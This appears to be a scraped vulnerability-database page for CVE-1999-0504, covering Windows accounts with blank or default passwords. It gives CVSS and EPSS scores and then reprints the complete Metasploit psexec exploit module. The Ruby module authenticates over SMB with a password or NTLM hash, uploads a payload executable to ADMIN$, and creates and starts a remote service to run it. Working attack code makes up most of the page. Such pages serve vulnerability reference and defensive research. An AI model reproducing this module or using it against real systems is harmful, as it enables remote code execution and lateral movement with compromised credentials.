CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
A Windows NT local user or administrator account has a default, null, blank, or missing password.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
41.11%
–
–
2023-03-12
–
–
–
0.55%
–
2023-09-03
–
–
–
0.55%
–
2024-02-11
–
–
–
0.55%
–
2024-06-02
–
–
–
0.55%
–
2024-06-23
–
–
–
0.55%
–
2024-12-22
–
–
–
0.55%
–
2025-02-09
–
–
–
0.55%
–
2025-01-19
–
–
–
0.55%
–
2025-02-16
–
–
–
0.55%
–
2025-03-18
–
–
–
–
31.34%
2025-03-30
–
–
–
–
36%
2025-03-30
–
–
–
–
36,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: psexec.rb 11204 2010-12-02 17:29:26Z todb $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated User Code Execution',
'Description' => %q{
This module uses a valid administrator username and password (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" utility provided by SysInternals. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.
},
'Author' =>
[
'hdm',
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11204 $',
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'process'
},
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
# For the CVE, PsExec was first released around February or March 2001
'DisclosureDate' => 'Jan 01 1999'
))
register_advanced_options(
[
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true])
], self.class)
end
def exploit
print_status("Connecting to the server...")
connect()
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()
if (not simple.client.auth_user)
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
return
end
if datastore['DB_REPORT_AUTH']
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'smb',
:user => datastore['SMBUser'],
:pass => datastore['SMBPass'],
:active => true
}
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
report_hash.merge!({:type => 'smb_hash'})
else
report_hash.merge!({:type => 'password'})
end
report_auth_info(report_hash)
end
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
# Upload the shellcode to a file
print_status("Uploading payload...")
simple.connect("ADMIN$")
fd = simple.open("\\#{filename}", 'rwct')
exe = ''
opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close
print_status("Created \\#{filename}...")
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
# Connect to the IPC service
simple.connect("IPC$")
# Bind to the service
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CreateServiceW()
##
displayname = 'M' + rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
begin
print_status("Deleting \\#{filename}...")
select(nil, nil, nil, 1.0)
simple.connect("ADMIN$")
simple.delete("\\#{filename}")
rescue ::Interrupt
raise $!
rescue ::Exception
end
handler
disconnect
end
end